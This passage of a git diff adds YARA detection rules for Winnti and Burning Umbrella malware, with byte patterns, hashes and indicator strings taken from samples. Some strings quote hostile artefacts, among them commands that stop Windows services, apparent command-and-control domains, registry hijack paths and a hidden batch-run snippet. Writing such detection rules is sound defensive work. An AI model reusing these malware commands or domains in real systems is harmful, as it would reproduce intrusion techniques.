+      score = 75
+      id = "2a8f28e6-5a01-5a2f-b89b-9c34163afcda"
+   strings:
+      $a1 = "-k netsvcs" ascii
+      $a2 = "svchost.exe" ascii fullword
+      $a3 = "%SystemRoot%\\System32\\ntoskrnl.exe" ascii
+      $a4 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411015}" ascii
+      $a5 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411014}" ascii
+      $a6 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411016}" ascii
+      $a7 = "cmd.exe" wide
+      $a8 = ",XML" wide
+      $a9 = "\\rundll32.exe" wide
+      $a10 = "\\conhost.exe" wide
+      $a11 = "\\cmd.exe" wide
+      $a12 = "NtQueryInformationProcess" ascii
+      $a13 = "Detours!" ascii fullword
+      $a14 = "Loading modified build of detours library designed for MPC-HC player (http://sourceforge.net/projects/mpc-hc/)" ascii
+      $a15 = "CONOUT$" wide fullword
+      $a16 = { C6 0? E9 4? 8? 4? 05 [2] 89 4? 01 }
+   condition:
+      (12 of ($a*))
+}
+
+rule APT_CN_Group_Loader_Jan20_1 {
+   meta:
+      description = "Detects loaders used by Chinese groups"
+      author = "Vitali Kremez"
+      reference = "https://twitter.com/VK_Intel/status/1223411369367785472?s=20"
+      date = "2020-02-01"
+      score = 80
+      id = "c85ae499-4f76-56ff-877d-887e1a7fc077"
+   strings:
+      $xc1 = { 8B C3 C1 E3 10 C1 E8 10 03 D8 6B DB 77 83 C3 13 }
+   condition:
+      1 of them
+}
+
+rule winnti_dropper_x64_libtomcrypt_fns : TAU CN APT {
+   meta:
+      author = "CarbonBlack Threat Research" // tharuyama
+      date = "2019-08-26"
+      description = "Designed to catch winnti 4.0 loader and hack tool x64"
+      rule_version = 1
+      yara_version = "3.8.1"
+      Confidence = "Prod"
+      Priority = "High"
+      TLP = "White"
+      reference = "https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-winnti-malware-4-0/"
+      exemplar_hashes = "5ebf39d614c22e750bb8dbfa3bcb600756dd3b36929755db9b577d2b653cd2d1"
+      sample_md5 = "794E127D627B3AF9015396810A35AF1C"
+
+      id = "080d837c-248f-5718-b4a2-290495cd3b38"
+   strings:
+      // fn_register_libtomcrypt
+      $0x140001820 = { 48 83 EC 28 83 3D ?? ?? ?? ?? 00 }
+      $0x140001831 = { 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 FF }
+      $0x140001842 = { B8 0B 00 E0 0C 48 83 C4 28 C3 }
+      $0x14000184c = { 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 FF }
+      $0x140001881 = { B8 0C 00 E0 0C 48 83 C4 28 C3 }
+      $0x14000188b = { 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 FF }
+      $0x1400018e4 = { B8 0D 00 E0 0C 48 83 C4 28 C3 }
+      $0x1400018ee = { 48 8D 0D ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 41 B8 A0 01 00 00 E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 01 00 00 00 }
+      $0x140001911 = { 33 C0 48 83 C4 28 C3 }
+      // fn_decrypt_PE
+      $0x140001670 = { 40 55 56 57 41 55 41 56 41 57 B8 38 12 00 00 E8 ?? ?? ?? ?? 48 2B E0 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 10 12 00 00 48 8B AC 24 90 12 00 00 4C 8B B4 24 A0 12 00 00 45 33 FF 44 39 3D ?? ?? ?? ?? 49 8B F1 41 0F B7 F8 4C 8B EA 44 8B D9 66 44 89 7C 24 40 }
+      $0x1400016c8 = { B8 01 00 E0 0C }
+      $0x1400016d2 = { 48 89 9C 24 30 12 00 00 4D 85 C9 }
+      $0x1400016ec = { 8B 9C 24 98 12 00 00 83 FB 01 }
+      $0x1400016fc = { 48 8D 54 24 40 }
+      $0x140001701 = { 4C 89 A4 24 28 12 00 00 E8 ?? ?? ?? ?? 44 0F B7 64 24 40 66 44 3B E7 }
+      $0x140001727 = { 48 8D 54 24 40 41 8B CB E8 ?? ?? ?? ?? 0F B7 94 24 A8 12 00 00 66 39 54 24 40 }
+      $0x140001750 = { 41 8B CB E8 ?? ?? ?? ?? 8B F8 83 F8 FF }
+      $0x14000175f = { B8 0F 00 E0 0C }
+      $0x140001764 = { 4C 8B A4 24 28 12 00 00 }
+      $0x14000176c = { 48 8B 9C 24 30 12 00 00 }
+      $0x140001774 = { 48 8B 8C 24 10 12 00 00 48 33 CC E8 ?? ?? ?? ?? 48 81 C4 38 12 00 00 41 5F 41 5E 41 5D 5F 5E 5D C3 }
+      $0x140001795 = { 48 8D 4C 24 54 33 D2 41 B8 B4 11 00 00 44 89 7C 24 50 E8 ?? ?? ?? ?? 48 8D 44 24 50 48 89 44 24 30 45 0F B7 CC 4D 8B C5 49 8B D6 8B CF 44 89 7C 24 28 44 89 7C 24 20 E8 ?? ?? ?? ?? 85 C0 }
+      $0x1400017d5 = { 4C 8D 4C 24 50 44 8B C3 48 8B D5 48 8B CE E8 ?? ?? ?? ?? 48 8D 4C 24 50 8B D8 E8 ?? ?? ?? ?? 8B C3 }
+      $0x1400017fb = { B8 04 00 E0 0C }
+      $0x140001805 = { B8 03 00 E0 0C }
+      $0x14000180f = { B8 02 00 E0 0C }
+
+   condition:
+      all of them
+}
+
+rule winnti_dropper_x86_libtomcrypt_fns : TAU CN APT {
+   meta:
+      author = "CarbonBlack Threat Research" // tharuyama
+      date = "2019-08-26"
+      description = "Designed to catch winnti 4.0 loader and hack tool x86"
+      rule_version = 1
+      yara_version = "3.8.1"
+      confidence = "Prod"
+      oriority = "High"
+      TLP = "White"
+      reference = "https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-winnti-malware-4-0/"
+      exemplar_hashes = "0fdcbd59d6ad41dda9ae8bab8fad9d49b1357282027e333f6894c9a92d0333b3"
+      sample_md5 = "da3b64ec6468a4ec56f977afb89661b1"
+
+      id = "48e7a3b0-55c7-5db5-855f-1614bd00afb4"
+   strings:
+      // fn_register_libtomcrypt
+      $0x401d20 = { 8B 0D ?? ?? ?? ?? 33 C0 85 C9 }
+      $0x401d30 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 83 F8 ?? }
+      $0x401d46 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 10 83 F8 ?? }
+      $0x401d76 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 1C 83 F8 ?? }
+      $0x401dc4 = { 56 57 B9 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 33 C0 F3 A5 5F C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 5E C3 }
+      // fn_decrypt_PE
+      $0x401bd0 = { 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 53 56 57 85 C0 C7 45 FC ?? ?? ?? ?? }
+      $0x401bf4 = { 8B 45 14 85 C0 }
+      $0x401bff = { 8B 45 18 85 C0 }
+      $0x401c14 = { 8B 7D 08 8D 45 FC 50 57 E8 ?? ?? ?? ?? 8B 75 ?? 83 C4 08 66 }
+      $0x401c31 = { 8B 45 0C 85 C0 }
+      $0x401c3c = { 8D 4D FC 51 57 E8 ?? ?? ?? ?? 66 8B 55 FC 83 C4 08 66 3B 55 24 }
+      $0x401c57 = { 8B 5D 20 85 DB }
+      $0x401c62 = { 57 E8 ?? ?? ?? ?? 8B D0 83 C4 04 83 FA ?? }
+      $0x401c72 = { B9 ?? ?? ?? ?? 33 C0 8D BD 48 EE FF FF C7 85 44 EE FF FF ?? ?? ?? ?? F3 AB 8B 4D 0C 8D 85 44 EE FF FF 50 6A ?? 81 E6 FF FF 00 00 6A ?? 56 51 53 52 E8 ?? ?? ?? ?? 83 C4 1C 85 C0 }
+      $0x401caf = { 8B 45 1C 8B 4D 18 8D 95 44 EE FF FF 52 8B 55 14 50 51 52 E8 ?? ?? ?? ?? 8B F0 8D 85 44 EE FF FF 50 E8 ?? ?? ?? ?? 83 C4 14 8B C6 5F 5E 5B 8B E5 5D C3 }
+      $0x401ce1 = { 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 }
+      $0x401ced = { 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 }
+      $0x401cf9 = { 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 }
+      $0x401d05 = { 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 }
+      $0x401d16 = { 5F 5E 5B 8B E5 5D C3 }
+
+   condition:
+      all of them
+}
diff --git a/yara-Neo23x0/apt_winnti_br.yar b/yara-Neo23x0/apt_winnti_br.yar
new file mode 100644
index 0000000..a33ceef
--- /dev/null
+++ b/yara-Neo23x0/apt_winnti_br.yar
@@ -0,0 +1,46 @@
+import "pe"
+
+rule MAL_Winnti_BR_Report_TwinPeaks {
+   meta:
+      description = "Detects Winnti samples"
+      author = "@br_data repo"
+      reference = "https://github.com/br-data/2019-winnti-analyse"
+      date = "2019-07-24"
+      id = "2e4e2b88-fdb4-5adc-8192-a304d71ca851"
+   strings:
+      $cooper = "Cooper"
+      $pattern = { e9 ea eb ec ed ee ef f0}
+   condition:
+      uint16(0) == 0x5a4d and $cooper and ($pattern in (@cooper[1]..@cooper[1]+100))
+}
+
+rule MAL_BR_Report_TheDao {
+   meta:
+      description = "Detects indicator in malicious UPX packed samples"
+      author = "@br_data repo"
+      reference = "https://github.com/br-data/2019-winnti-analyse"
+      date = "2019-07-24"
+      id = "5cc932d7-2ec6-5570-af4a-3f64b39e6db5"
+  strings:
+    $b = { DA A0 }
+  condition:
+    uint16(0) == 0x5a4d and $b at pe.overlay.offset and pe.overlay.size > 100
+}
+
+rule MAL_Winnti_BR_Report_MockingJay {
+   meta:
+      description = "Detects Winnti samples"
+      author = "@br_data repo"
+      reference = "https://github.com/br-data/2019-winnti-analyse"
+      date = "2019-07-24"
+      id = "9aff9d65-3827-59de-9dc3-38f227155d3d"
+  strings:
+    $load_magic = { C7 44 ?? ?? FF D8 FF E0 }
+    $iter = { E9 EA EB EC ED EE EF F0 }
+    $jpeg = { FF D8 FF E0 00 00 00 00 00 00 }
+  condition:
+    uint16(0) == 0x5a4d and
+      $jpeg and
+      ($load_magic or $iter in (@jpeg[1]..@jpeg[1]+200)) and
+      for any i in (1..#jpeg): ( uint8(@jpeg[i] + 11) != 0 )
+}
diff --git a/yara-Neo23x0/apt_winnti_burning_umbrella.yar b/yara-Neo23x0/apt_winnti_burning_umbrella.yar
new file mode 100644
index 0000000..5cfb183
--- /dev/null
+++ b/yara-Neo23x0/apt_winnti_burning_umbrella.yar
@@ -0,0 +1,460 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-05-04
+   Identifier: Burning Umbrella
+   Reference: https://401trg.pw/burning-umbrella/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule MAL_BurningUmbrella_Sample_1 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "fcfe8fcf054bd8b19226d592617425e320e4a5bb4798807d6f067c39dfc6d1ff"
+      id = "9f8a6831-172b-5310-9763-43657b79b91d"
+   strings:
+      $s1 = { 40 00 00 E0 75 68 66 61 6F 68 6C 79 }
+      $s2 = { 40 00 00 E0 64 6A 7A 66 63 6D 77 62 }
+   condition:
+      uint16(0) == 0x5a4d and filesize < 4000KB and (
+         pe.imphash() == "baa93d47220682c04d92f7797d9224ce" and
+         $s1 in (0..1024) and
+         $s2 in (0..1024)
+      )
+}
+
+rule MAL_BurningUmbrella_Sample_2 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "801a64a730fc8d80e17e59e93533c1455686ca778e6ba99cf6f1971a935eda4c"
+      id = "926b4a29-ce47-559b-94e3-1fabd90f3fbe"
+   strings:
+      $s1 = { 40 00 00 E0 63 68 72 6F 6D 67 75 78 }
+      $s2 = { 40 00 00 E0 77 62 68 75 74 66 6F 61 }
+      $s3 = "ActiveX Manager" wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and
+      $s1 in (0..1024) and
+      $s2 in (0..1024) and
+      $s3
+}
+
+rule MAL_BurningUmbrella_Sample_3 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "92efbecc24fbb5690708926b6221b241b10bdfe3dd0375d663b051283d0de30f"
+      id = "b997822a-3f62-51b4-bd96-e780ffe60812"
+   strings:
+      $s1 = "HKEY_CLASSES_ROOT\\Word.Document.8\\shell\\Open\\command" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and 1 of them
+}
+
+rule MAL_BurningUmbrella_Sample_4 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "a1629e8abce9d670fdb66fa1ef73ad4181706eefb8adc8a9fd257b6a21be48c6"
+      id = "3489f64b-7ebc-55b8-bd11-afaa719e572b"
+   strings:
+      $x1 = "dumpodbc.exe" fullword ascii
+      $x2 = "photo_Bundle.exe" fullword ascii
+      $x3 = "Connect 2 fails : %d,%s:%d" fullword ascii
+      $x4 = "Connect fails 1 : %d %s:%d" fullword ascii
+      $x5 = "New IP : %s,New Port: %d" fullword ascii
+      $x6 = "Micrsoft Corporation. All rights reserved." fullword wide
+      $x7 = "New ConFails : %d" fullword ascii
+
+      $s1 = "cmd /c net stop stisvc" fullword ascii
+      $s2 = "cmd /c net stop spooler" fullword ascii
+      $s3 = "\\temp\\s%d.dat" ascii
+      $s4 = "cmd /c net stop wuauserv" fullword ascii
+      $s5 = "User-Agent: MyApp/0.1" fullword ascii
+      $s6 = "%s->%s Fails : %d" fullword ascii
+      $s7 = "Enter WorkThread,Current sock:%d" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 50KB and (
+         ( pe.exports("Print32") and 2 of them ) or
+         1 of ($x*) or
+         4 of them
+      )
+}
+
+rule MAL_BurningUmbrella_Sample_6 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "49ef2b98b414c321bcdbab107b8fa71a537958fe1e05ae62aaa01fe7773c3b4b"
+      id = "7198a734-fd54-5cb5-9966-b91796a415c7"
+   strings:
+      $s1 = "ExecuteFile=\"hidcon:nowait:\\\"Word\\\\r.bat\\\"\"" fullword ascii
+      $s2 = "InstallPath=\"%Appdata%\\\\Microsoft\"" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and 1 of them
+}
+
+rule MAL_BurningUmbrella_Sample_7 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "a4ce3a356d61fbbb067e1430b8ceedbe8965e0cfedd8fb43f1f719e2925b094a"
+      hash2 = "a8bfc1e013f15bc395aa5c047f22ff2344c343c22d420804b6d2f0a67eb6db64"
+      hash3 = "959612f2a9a8ce454c144d6aef10dd326b201336a85e69a604e6b3892892d7ed"
+      id = "7e427512-a8ee-53ae-a141-e995e74ca845"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and pe.imphash() == "f5b113d6708a3927b5cc48f2215fcaff"
+}
+
+rule MAL_BurningUmbrella_Sample_8 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "73270fe9bca94fead1b5b38ddf69fae6a42e574e3150d3e3ab369f5d37d93d88"
+      id = "1b89d5a1-1425-5cb7-b429-563769bc0943"
+   strings:
+      $s1 = "cmd /c open %s" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and 1 of them
+}
+
+rule MAL_BurningUmbrella_Sample_10 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "70992a72412c5d62d003a29c3967fcb0687189d3290ebbc8671fa630829f6694"
+      hash2 = "48f0bbc3b679aac6b1a71c06f19bb182123e74df8bb0b6b04ebe99100c57a41e"
+      hash3 = "5475ae24c4eeadcbd49fcd891ce64d0fe5d9738f1c10ba2ac7e6235da97d3926"
+      id = "e4cb2211-efbe-55f9-99e3-c01601904509"
+   strings:
+      $s1 = "revjj.syshell.org" fullword ascii
+      /* $s2 = "Kernel.dll" fullword ascii */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule MAL_BurningUmbrella_Sample_11 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "278e9d130678615d0fee4d7dd432f0dda6d52b0719649ee58cbdca097e997c3f"
+      id = "9762c68c-4d69-5d38-aaf4-0048e7404147"
+   strings:
+      $s1 = "Resume.app/Contents/Java/Resume.jarPK" fullword ascii
+   condition:
+      uint16(0) == 0x4b50 and filesize < 700KB and 1 of them
+}
+
+rule MAL_BurningUmbrella_Sample_12 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "b9aba520eeaf6511877c1eec5f7d71e0eea017312a104f30d3b8f17c89db47e8"
+      id = "805a00e7-2959-53d8-b769-0f8e54e1bbd5"
+   strings:
+      $s1 = "%SystemRoot%\\System32\\qmgr.dll" fullword ascii
+      $s2 = "rundll32.exe %s,Startup" fullword ascii
+      $s3 = "nvsvcs.dll" fullword wide
+      $s4 = "SYSTEM\\CurrentControlSet\\services\\BITS\\Parameters" fullword ascii
+      $s5 = "http://www.sginternet.net 0" fullword ascii
+      $s6 = "Microsoft Corporation. All rights reserved." fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 80KB and (
+         pe.exports("SvcServiceMain") and
+         5 of them
+      )
+}
+
+rule MAL_BurningUmbrella_Sample_13 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "d31374adc0b96a8a8b56438bbbc313061fd305ecee32a12738dd965910c8890f"
+      hash2 = "c74a8e6c88f8501fb066ae07753efe8d267afb006f555811083c51c7f546cb67"
+      id = "38c73425-bbdd-5b74-8ad4-5e0052039dd8"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and pe.imphash() == "75f201aa8b18e1c4f826b2fe0963b84f"
+}
+
+rule MAL_BurningUmbrella_Sample_14 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "388ef4b4e12a04eab451bd6393860b8d12948f2bce12e5c9022996a9167f4972"
+      id = "a2b3a4bb-ca60-5dc2-8124-17e654e326b8"
+   strings:
+      $s1 = "C:\\tmp\\Google_updata.exe" fullword ascii
+      /* $s2 = "Kernel.dll" fullword ascii */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 40KB and 1 of them
+}
+
+rule MAL_BurningUmbrella_Sample_15 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "be6bea22e909bd772d21647ffee6d15e208e386e8c3c95fd22816c6b94196ae8"
+      hash2 = "72a8fa454f428587d210cba0e74735381cd0332f3bdcbb45eecb7e271e138501"
+      hash3 = "9cc38ea106efd5c8e98c2e8faf97c818171c52fa3afa0c4c8f376430fa556066"
+      hash4 = "1a4a64f01b101c16e8b5928b52231211e744e695f125e056ef7a9412da04bb91"
+      hash5 = "3cd42e665e21ed4815af6f983452cbe7a4f2ac99f9ea71af4480a9ebff5aa048"
+      id = "4dc840c1-e6fa-5b21-bfcd-ef07cd85272a"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 50KB and pe.imphash() == "cc33b1500354cf785409a3b428f7cd2a"
+}
+
+rule MAL_BurningUmbrella_Sample_16 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "58bb3859e02b8483e9f84cc56fbd964486e056ef28e94dd0027d361383cc4f4a"
+      id = "8b1970bd-571e-5c53-9170-1605c69d9d6d"
+   strings:
+      $s1 = "http://netimo.net 0" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+
+rule MAL_BurningUmbrella_Sample_17 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "fa380dac35e16da01242e456f760a0e75c2ce9b68ff18cfc7cfdd16b2f4dec56"
+      hash2 = "854b64155f9ceac806b49f3e352949cc292e5bc33f110d965cf81a93f78d2f07"
+      hash3 = "1e462d8968e8b6e8784d7ecd1d60249b41cf600975d2a894f15433a7fdf07a0f"
+      hash4 = "3cdc149e387ec4a64cce1191fc30b8588df4a2947d54127eae43955ce3d08a01"
+      hash5 = "a026b11e15d4a81a449d20baf7cbd7b8602adc2644aa4bea1e55ff1f422c60e3"
+      id = "d79d3f65-f27c-582b-9258-7c84dc7682a6"
+   strings:
+      $s1 = "syshell" fullword wide
+      $s2 = "Normal.dotm" fullword ascii
+      $s3 = "Microsoft Office Word" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+rule MAL_BurningUmbrella_Sample_18 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "d8df60524deb6df4f9ddd802037a248f9fbdd532151bb00e647b233e845b1617"
+      hash2 = "c55cb6b42cfabf0edf1499d383817164d1b034895e597068e019c19d787ea313"
+      hash3 = "32144ba8370826e069e5f1b6745a3625d10f50a809f3f2a72c4c7644ed0cab03"
+      hash4 = "ae616003d85a12393783eaff9778aba20189e423c11c852e96c29efa6ecfce81"
+      hash5 = "95b6e427883f402db73234b84a84015ad7f3456801cb9bb19df4b11739ea646d"
+      hash6 = "1419ba36aae1daecc7a81a2dfb96631537365a5b34247533d59a70c1c9f58da2"
+      hash7 = "6a5a9b0ae10ce6a0d5e1f7d21d8ea87894d62d0cda00db005d8d0de17cae7743"
+      hash8 = "74e348068f8851fec1b3de54550fe09d07fb85b7481ca6b61404823b473885bb"
+      hash9 = "adb9c2fe930fae579ce87059b4b9e15c22b6498c42df01db9760f75d983b93b2"
+      hash0 = "23f28b5c4e94d0ad86341c0b9054f197c63389133fcd81dd5e0cf59f774ce54b"
+      id = "d08f4676-ff28-59be-9fd4-b5a824e577d9"
+   strings:
+      $s1 = "c:\\tmp\\tran.exe" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and (
+         pe.imphash() == "11675b4db0e7df7b29b1c1ef6f88e2e1" or
+         pe.imphash() == "364e1f68e2d412db34715709c68ba467" or
+         pe.exports("deKernel") or
+         1 of them
+      )
+}
+
+rule MAL_BurningUmbrella_Sample_19 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "05e2912f2a593ba16a5a094d319d96715cbecf025bf88bb0293caaf6beb8bc20"
+      hash2 = "e7bbdb275773f43c8e0610ad75cfe48739e0a2414c948de66ce042016eae0b2e"
+      id = "8ab55e80-5d28-5a5f-a1cc-725ba6720e4b"
+   strings:
+      $s1 = "Cryption.dll" fullword ascii
+      $s2 = "tran.exe" fullword ascii
+      $s3 = "Kernel.dll" fullword ascii
+      $s4 = "Now ready to get the file %s!" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and 3 of them
+}
+
+rule MAL_BurningUmbrella_Sample_20 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      modified = "2023-01-06"
+      hash1 = "5c12379cd7ab3cb03dac354d0e850769873d45bb486c266a893c0daa452aa03c"
+      hash2 = "172cd90fd9e31ba70e47f0cc76c07d53e512da4cbfd197772c179fe604b75369"
+      hash3 = "1ce88e98c8b37ea68466657485f2c01010a4d4a88587ba0ae814f37680a2e7a8"
+      id = "1a39a76a-31e2-5d6e-82cb-ea38d503b6a9"
+   strings:
+      $s1 = "Wordpad.Document.1\\shell\\open\\command\\" wide
+      $s2 = "%s\\shell\\Open\\command" fullword wide
+      $s3 = "expanding computer" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 500KB and (
+         pe.imphash() == "bac338bfe2685483c201e15eae4352d5" or
+         2 of them
+      )
+}
+
+rule MAL_BurningUmbrella_Sample_21 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "4b7b9c2a9d5080ccc4e9934f2fd14b9d4e8f6f500889bf9750f1d672c8724438"
+      id = "2193e4b6-b71c-5031-8e43-fdd7177ad05c"
+   strings:
+      $s1 = "c:\\windows\\ime\\setup.exe" fullword ascii
+      $s2 = "ws.run \"later.bat /start\",0Cet " fullword ascii
+      $s3 = "del later.bat" fullword ascii
+      $s4 = "mycrs.xls" fullword ascii
+
+      $a1 = "-el -s2 \"-d%s\" \"-p%s\" \"-sp%s\"" fullword ascii
+      $a2 = "<set ws=wscript.createobject(\"wscript.shell\")" fullword ascii
+   condition:
